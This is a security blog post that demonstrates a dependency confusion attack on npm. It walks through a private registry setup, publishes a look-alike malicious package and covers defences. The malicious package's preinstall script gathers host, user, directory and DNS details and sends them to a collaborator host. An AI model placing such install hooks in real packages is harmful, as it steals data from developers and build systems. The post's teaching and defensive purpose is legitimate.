Dependency Confusion Attack on NPM: An End-to-End POC

The inspiring source here gave me creative inspiration for this blog. Dependency Confusion was initially disclosed by Alex Birsan.

Introduction to Dependency Confusion Attack

When building a web application or app, utilizing existing code and libraries can make the process faster and easier. These pre-existing packages, obtained from package repositories, are available in two types: public and private. The latter is intended solely for your team's use. However, it's possible for a private package with the same name as a public one to exist, and your application may use the private version. Unfortunately, this creates an opportunity for a "Dependency Confusion Attack."

An attacker can create a fake version of your private package and upload it to the public repository, tricking your build configuration into using the fake package instead of the real one. This can be disastrous as the fake package may contain malicious code that can steal information or create reverse shells, and your application may be completely unaware of its origin. In summary, a Dependency Confusion Attack is a dangerous situation where your application is deceived into using a malicious package instead of the correct one, resulting in severe issues for your application and its users.

NPM and Package Dependencies

NPM, which stands for Node Package Manager, is like a digital library for programmers working with JavaScript, a popular programming language for web development.

Imagine you're building a puzzle. Instead of making all the puzzle pieces from scratch, you can grab some puzzle pieces that other people have already made. These puzzle pieces are like "packages," which are small bundles of code that do specific tasks.

NPM helps you manage these packages. When building your project, you often need different packages to help you do different things. NPM keeps track of which packages your project needs and ensures they all work together nicely.

Think of it as a shopping list for your project. You write down the names of the packages you want, and NPM goes and fetches them for you. But here's the clever part: these packages can also depend on other packages. It's like one puzzle piece needs another puzzle piece to work.

NPM makes sure that when you get a package, you also get all the puzzle pieces that the package needs. It's like getting a complete set of instructions along with each puzzle piece so they can fit together perfectly.

So, in simple terms, NPM helps programmers use and manage ready-made pieces of code (packages) to build their projects. It takes care of getting all the right pieces and ensuring they fit together smoothly.

Dependency Confusion Attack Workflow

We will now do a POC of end-to-end dependent confusion attack workflow. Let us take an example of an app called "Project Storm" developed internally. Here is the package manifest.

{
  "name": "Project Storm",
  "version": "1.0.0",
  "description": "Internal node app",
  "main": "app.js",
  "scripts": {
    "start": "node app.js",
    "test": "echo \"Error: no test specified\" && exit 1"
  },
  "author": "Team alpha",
  "license": "ISC",
  "dependencies": {
    "express":"^4.16.2",
    "ejs":"latest",
    "stormapp":"^1.0.0"
  }
}

This code is located in the package.json, and it also shows the dependencies of this project. As you can see, "stormapp" isa dependent package and only published internally on the private package.

Set up a private npm registry

To make things easier, we will use Verdaccio - an excellent open-source tool that will help us set up our own internal private npm registry and proxy server. If you already have Docker installed, getting started is a piece of cake! Just follow these simple steps:

docker run -it --rm --name verdaccio -p 4873:4873 verdaccio/verdaccio\

You now have your dedicated private hosting of npm packages running locally at port 4873.

Let’s go ahead with publishing our internal npm package stormapp. We will start first by adding a user to this new Verdaccio private registry:

Let us create the stormapp npm package and publish the stormapp package

npm init

Let's also create a sample index.js file and keep it in the same folder where package.json is present.

function greetUser(userName) {
  return `Hello ${userName}! Welcome to our package!`;
}

module.exports = greetUser;

Let’s go ahead with publishing it to our private npm registry.

npm login --registry http://localhost:4873/
npm publish  --registry http://localhost:4873

Scenario 1: Private npm registry misconfiguration

💡
The following passage is excerpted from snyk.io/blog/detect-prevent-dependency-conf...

When a developer or a continuous integration (CI) system clones the source code of "Project Storm" — which has the internal stormapp dependency — how does it obtain this dependency?

It likely needs to satisfy the following criteria when an npm install command is invoked:

  1. It needs the URL of the private npm registry where this internal package exists.

  2. It needs a token or credentials of some sort to access that private registry.

The very first step outlined above is where things can go wrong. To specify a particular private npm registry, one needs to provide configuration information for the npm package manager explicitly.

Now let’s revisit some scenarios:

  1. What happens if the continuous integration system doesn’t have the private registry set?

  2. What happens if you are a new developer onboarding to an existing project and you did not undergo prior steps, such as running the command npm config set registry ?

  3. What happens if you mistakenly remove or change your .npmrc configuration not to include the internal private npm registry?

In any of these cases, where the custom setting for an internal registry was omitted, the npm package manager will default to the public registry (registry.npmjs.org) and will download packages from that.

Anyone can publish packages on the public npm registry, and so, if a malicious user were to publish a package named stormapp, then it would’ve been downloaded and installed instead of your own internal package.

Let us create a malicious version of the stormapp package and upload it to the public npm registry.

Create package.json file

{
  "name": "stormapp",
  "version": "1.0.0",
  "description": "Internal App",
  "main": "index.js",
  "scripts": {
    "test": "echo \\\"Error: no test specified\\\" && exit 1",
    "preinstall": "node index.js"
  },
  "author": "Internal App",
  "license": "ISC"
}

Now create the index.js file as shown below and add interactsh link. The payload has been taken from here https://dhiyaneshgeek.github.io/web/security/2021/09/04/dependency-confusion/

const os = require("os");
const dns = require("dns");
const querystring = require("querystring");
const https = require("https");
const packageJSON = require("./package.json");
const package = packageJSON.name;

const trackingData = JSON.stringify({
    p: package,
    c: __dirname,
    hd: os.homedir(),
    hn: os.hostname(),
    un: os.userInfo().username,
    dns: dns.getServers(),
    r: packageJSON ? packageJSON.___resolved : undefined,
    v: packageJSON.version,
    pjson: packageJSON,
});

var postData = querystring.stringify({
    msg: trackingData,
});

var options = {
    hostname: "burpcollaborator.net", //replace burpcollaborator.net with Interactsh or pipedream
    port: 443,
    path: "/",
    method: "POST",
    headers: {
        "Content-Type": "application/x-www-form-urlencoded",
        "Content-Length": postData.length,
    },
};

var req = https.request(options, (res) => {
    res.on("data", (d) => {
        process.stdout.write(d);
    });
});

req.on("error", (e) => {
    // console.error(e);
});

req.write(postData);
req.end();

Publish the malicious package to the public npm registry

npm publish

Now, Let us install "Project Storm", assuming one of the three conditions is fulfilled

  1. What happens if the continuous integration system doesn’t have the private registry set?

  2. What happens if you are a new developer onboarding to an existing project and you did not undergo prior steps, such as running the command npm config set registry ?

  3. What happens if you mistakenly remove or change your .npmrc configuration not to include the internal private npm registry?

    Now whenever someone runs npm install , or the Internal Builds has pulled the stormapp package, it will install our package instead and run the preinstall script

    package.json file preinstall scripts will execute the index.js file and get the hostname, directory, ipaddress, username as shown below.

How to protect against npm dependency confusion

It's vital to ensure that a proper private npm proxy configuration is in place. If it's not set up correctly by a developer or CI system, it could potentially put you in a vulnerable position.

So the first step is: Always to ensure that a .npmrc file is made available or another form of the private npm proxy configuration.

Secondly, you can take a proactive approach that detects cases in which you are using private packages with their namespace unreserved on the public npmjs registry.

You can use visma-prodec/confused to check for dependency confusion vulnerabilities in multiple package management systems.

Scenario 2: Private npm registry fetches the latest versions

💡
The following passage is excerpted from snyk.io/blog/detect-prevent-dependency-conf...

What happens if there’s a package of the same name as ours (stormapp) that is published and available in the public npm registry but has a higher semver version?

To illustrate, the situation is as follows:

  • stormapp@1.0.0 exists in a private npm registry localhost:4783

  • stormapp@1.99.999 Published by an anonymous user to the public npm registry at npmjs.com/packagestormapp

Now the question is, what happens if a new project is scaffolded and requests to install the stormapp package? There’s no package.json yet, and there’s no lock file yet (package-lock.json). A developer starts with:

npm install superlaser

This install potentially ends with a malicious version of stormapp which a remote attacker controls. But why? The developer has the local npm registry configured.

As testing shows, even if an internal npm private proxy is configured, it has been observed that the behaviour of many of these proxies is first to check the newest version available in the npm public registry. If such a newer version exists, these proxies fetch the newest semver version of the package from the public registry and install that.

How to protect against fetching the wrong package

Configure your private npm proxy to never proxy requests upstream to the public registries. If a package or version is unavailable locally, it should be resolved so that it doesn’t blindly fetch packages from untrusted and unvetted sources.

Scenario 3: Manual package updates may introduce malicious versions

💡
The following passage is excerpted from snyk.io/blog/detect-prevent-dependency-conf...

In this scenario, you are manually updating your npm packages by running npm update or npm install <packages>@latest to bring your dependencies versions up to date.

When you invoke these update procedures, the same behaviour we witnessed before also occurs here. The npm update command asks the private npm proxy to fetch the latest version, which in turn, the proxy checks for the most up-to-date version on the public npm registry.

Note, if you’re a yarn user, then issuing a yarn upgrade will yield the same result as pulling in the potentially malicious packages from the public npmjs registry.

Even if you do have a .npmrc file, which defines the local registry a. Yet, if you run npm update to bring all the dependencies up to date, you might see it pulls in the latest semver matching version from the public npmjs registry.

How to protect against it?

Instead of manual and blind npm package updates, opt-in for automated package updates in the form of pull requests raised to your open-source project repositories, which will also take care of syncing the package manifest (such as package-lock.json or yarn.lock).

The recent prevalence of dependency confusion attacks has highlighted the potential pitfalls of trust in application and program development. Many developers rely on pre-existing code packages from online sources, assuming they are secure. However, malicious actors have found ways to exploit this trust by introducing harmful versions of these packages using deceptive tactics.

References